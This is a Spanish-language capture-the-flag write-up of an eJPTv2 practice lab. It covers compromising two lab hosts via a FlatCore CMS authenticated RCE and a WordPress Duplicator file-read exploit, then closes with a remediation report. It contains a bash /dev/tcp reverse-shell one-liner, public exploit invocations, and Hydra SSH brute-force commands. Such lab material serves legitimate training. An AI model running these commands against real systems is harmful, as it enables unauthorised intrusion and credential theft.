Host & Network Penetration (eJPT)
xhetic
@xhetic
馃摎 Esta publicaci贸n pertenece a la colecci贸n:
Host & Network Penetration Testing: Exploitation CTF 1
Este post trata sobre la resoluci贸n de un laboratorio de pr谩ctica de pentesting enfocado en la preparaci贸n para la certificaci贸n eJPTv2.
El escenario consiste en identificar y explotar vulnerabilidades en dos m谩quinas Linux objetivo. Analizaremos aplicaciones web y servicios para descubrir debilidades, usaremos credenciales conocidas, configuraciones inseguras y plugins vulnerables para comprometer los sistemas y obtener las flags.
He enfocado el laboratorio siguiendo la metodolog铆a t铆pica: Pre-compromiso > Enumeraci贸n > Explotaci贸n > Post-Explotaci贸n.
1. Pre-Compromiso
Lo primero es tener claros los objetivos y el alcance del laboratorio.
Objetivos:
- Target 1: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.
- Target 1: Further, identify and compromise an insecure system user on target1.ine.local.
- Target 2: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.
- Target 2: Further, identify and compromise a system user requiring no authentication on target2.ine.local.
Alcance:
| IP | Hostname |
|---|---|
192.235.129.3 | target1.ine.local |
192.235.129.4 | target2.ine.local |
2. Reconocimiento
Primero, empiezo visitando los sitios web para ver a qu茅 hay por ah铆.
En target1.ine.local, observo una p谩gina desarrollada en FlatCore CMS. Como no s茅 lo que es, lo busco en Google y, para mi sorpresa, veo que en los resultados hay m谩s entradas haciendo referencia a vulnerabilidades del CMS que informaci贸n sobre el software en s铆.
Observando m谩s la p谩gina, veo un texto interesante:
"You can edit this page in the ACP. You can also add other pages here."
Ese "ACP" es un enlace a http://target1.ine.local/acp/, un sitio que me pide usuario y contrase帽a. Adem谩s, en la p谩gina principal tambi茅n se observa un formulario de login.
Pasamos a la segunda p谩gina (target2.ine.local). Esta es mucho m谩s simple, parece ser una instalaci贸n b谩sica de WordPress. No hay nada relevante a simple vista, solo la t铆pica entrada de ejemplo "Hello World" y el login en /wp-login/.
3. Enumeraci贸n
Ya sabemos algunos vectores de ataque b谩sicos, pero vamos a realizar una enumeraci贸n activa para conseguir la m谩xima informaci贸n posible.
Para ambos objetivos lanzo el mismo escaneo con Nmap: nmap -sV -n IP
Resultados en Target 1:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:42:C0:EB:81:03 (Unknown)Resultados en Target 2:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:42:C0:EB:81:04 (Unknown)Literalmente la misma respuesta. Sospecho que el equipo base es el mismo, pero la MAC cambia.
Ahora lanzo un script de nmap para encontrar vulnerabilidades de manera r谩pida y superficial:
nmap --script vuln -p22,80 IP
Para el primer objetivo, el script me hace un HTTP-enum bastante interesante:
http-enum:
| /rss.php: RSS or Atom feed
| /robots.txt: Robots file
| /content/: Potentially interesting folder
| /core/: Potentially interesting folder
| /install/: Potentially interesting folder
| /modules/: Potentially interesting folder
|_ ...Para el segundo objetivo, la enumeraci贸n es m谩s jugosa. Me indica la versi贸n de WordPress (6.1) y enumera un usuario:
http-enum:
| /wp-login.php: Possible admin folder
| /: WordPress version: 6.1
| /wp-login.php: Wordpress login page.
|_ ...
http-wordpress-users:
|_ Username found: admin4. Explotaci贸n (Target 1)
Vamos a explotar el primer objetivo.
Objetivo: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.
En el propio enunciado nos dan las credenciales admin:password1. Las pruebo en http://target1.ine.local/acp/acp.php y funcionan. Tengo acceso al backend.
Investigando dentro, confirmo que es FlatCore versi贸n 2.0.7. Hago una b煤squeda r谩pida en searchsploit:
searchsploit flatcore 2.0.7
# Resultado:
FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated) | php/webapps/50262.pyPerfe, es un RCE que requiere autenticaci贸n (la cual ya tengo). Me traigo el exploit, analizo como se utiliza y lo lanzo:
searchsploit -m 50262.py
cat 50262.py
python3 50262.py http://target1.ine.local admin password1
# Resultado:
$Boom shakalaka.
Ya puedo ejecutar comandos (RCE) en el equipo v铆ctima. Si hago un whoami obtengo www-data.
Para trabajar c贸modo, me voy a sacar una Reverse Shell:
- En mi equipo (atacante):
nc -lvnp 4444 - En la v铆ctima (v铆a RCE):
bash -c 'bash -i >& /dev/tcp/192.235.129.2/4444 0>&1'
Qu茅 buena, Diddy. Ya tengo la shell interactiva.
Ahora busco un poco por el sistema, voy al directorio ra铆z y ah铆 veo flag1.txt. Le hago un cat y primera flag conseguida.
5. Post-Explotaci贸n (Target 1)
Vamos con el segundo objetivo: Further, identify and compromise an insecure system user on target1.ine.local.
Revisando el /etc/passwd o la carpeta /home, veo al usuario iamaweakuser. El nombre lo dice todo, as铆 que le voy a meter un bruteforce con Hydra:
hydra -l iamaweakuser -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.235.129.3 -t 4Perfe Diddy, en cuesti贸n de 1 minuto consigo la contrase帽a: "angel".
Desde la terminal donde ten铆a la shell con www-data, hago su iamaweakuser, pongo la contrase帽a y listo. Ya estamos dentro con el usuario de este chaval.
En su directorio /home/iamaweakuser encontramos la flag2.txt.
6. Explotaci贸n (Target 2)
Venga, ahora a por el segundo servidor (WordPress 6.1).
Objetivo: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory..
Como el enunciado sugiere algo de plugins, uso WPScan en modo agresivo para intentar enumerarlos:
wpscan --url http://target2.ine.local --enumerate p --plugins-detection aggressiveLa herramienta me devuelve dos resultados clave:
- Akismet: (Versi贸n desactualizada, pero no encuentro exploits claros).
- Duplicator: Versi贸n 1.3.26.
Busco en searchsploit para Duplicator y encuentro lo que hay que encontrar:
searchsploit duplicator
# Resultado:
Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read | php/webapps/50420.pyLo descargo, analizo su uso y lo pruebo leyendo el /etc/passwd:
searchsploit -m 50420
cat 50420.py
python3 50420.py http://192.235.129.4 /etc/passwdGracias al dios Diddy, esto funciona a la perfecci贸n. El exploit nos permite leer archivos arbitrarios sin autenticaci贸n.
En el /etc/passwd descubro un usuario llamado: iamacrazyfreeuser.
El giro de guion (Flags 3 y 4)
Con el usuario iamacrazyfreeuser descubierto, decido meterle otro Hydra al SSH (Target 2) igual que hice con el Target 1:
hydra -l iamacrazyfreeuser -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.235.129.4 -t 4En segundos, me encuentra no una, sino 4 contrase帽as muy inseguras (incluyendo 123456, admin, etc.).
Y mi sorpresa esque he ido a conectarme y el cabronazo no te pide ni contrase帽a. S铆 que est谩 loco, s铆.
Nada m谩s entrar veo un archivo llamado flag4.txt.
Pero espera, esta es la flag 4 y estamos intentando conseguir la 3... jajaja
Resulta que sin querer he hecho el Objetivo 4 (Further, identify and compromise a system user requiring no authentication on target2.ine.local.).
Volvamos atr谩s para el Objetivo 3 (Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.).
El exploit de Duplicator es un Arbitrary File Read. Seguramente lo que quiere el laboratorio es que lea la flag directamente con el exploit en lugar de entrar por SSH.
Probemos:
python3 50420.py http://192.235.129.4 /flag3.txtExacto jefe, ah铆 est谩 el contenido de la flag. Misi贸n cumplida.
7. Reporte Ejecutivo
A continuaci贸n se presenta un resumen de los hallazgos de seguridad encontrados durante la auditor铆a a los sistemas target1 y target2.
Resumen de Hallazgos
Se han comprometido exitosamente ambos objetivos logrando acceso administrativo y exfiltraci贸n de datos sensibles (Flags). Los sistemas presentan vulnerabilidades cr铆ticas debido a software desactualizado y configuraciones de credenciales d茅biles.
Detalle de Vulnerabilidades
| Severidad | Vulnerabilidad | Descripci贸n | Recomendaci贸n |
|---|---|---|---|
| Cr铆tica | RCE en FlatCore CMS | La versi贸n 2.0.7 de FlatCore permite ejecuci贸n remota de c贸digo a usuarios autenticados. Combinado con credenciales d茅biles, permite control total del servidor. | Actualizar FlatCore a la 煤ltima versi贸n y restringir el acceso al panel de administraci贸n (ACP). |
| Alta | Arbitrary File Read (WordPress) | El plugin Duplicator (v1.3.26) permite a atacantes no autenticados leer archivos sensibles del sistema (como /etc/passwd o datos de configuraci贸n). | Actualizar inmediatamente el plugin Duplicator o eliminarlo si no est谩 en uso. |
| Alta | Credenciales D茅biles (SSH) | El usuario iamaweakuser utilizaba una contrase帽a presente en diccionarios comunes ("angel"). | Implementar pol铆ticas de contrase帽as robustas y uso de fail2ban. |
| Alta | Configuraci贸n Insegura SSH | El usuario iamacrazyfreeuser permite acceso SSH sin requerir contrase帽a o con credenciales triviales por defecto. | Deshabilitar el acceso SSH sin contrase帽a (PermitEmptyPasswords no) y eliminar usuarios de prueba. |
Conclusi贸n
El laboratorio ha demostrado la importancia de mantener los CMS y sus plugins actualizados, as铆 como la necesidad cr铆tica de auditar las cuentas de usuario del sistema para evitar contrase帽as triviales o configuraciones de acceso nulo.
La resoluci贸n t茅cnica y el hackeo de las m谩quinas son 100% cosecha propia, pero he usado IA para que me eche un cable con la redacci贸n y el formato para que el post quede profesional y no os com谩is un muro de texto infumable.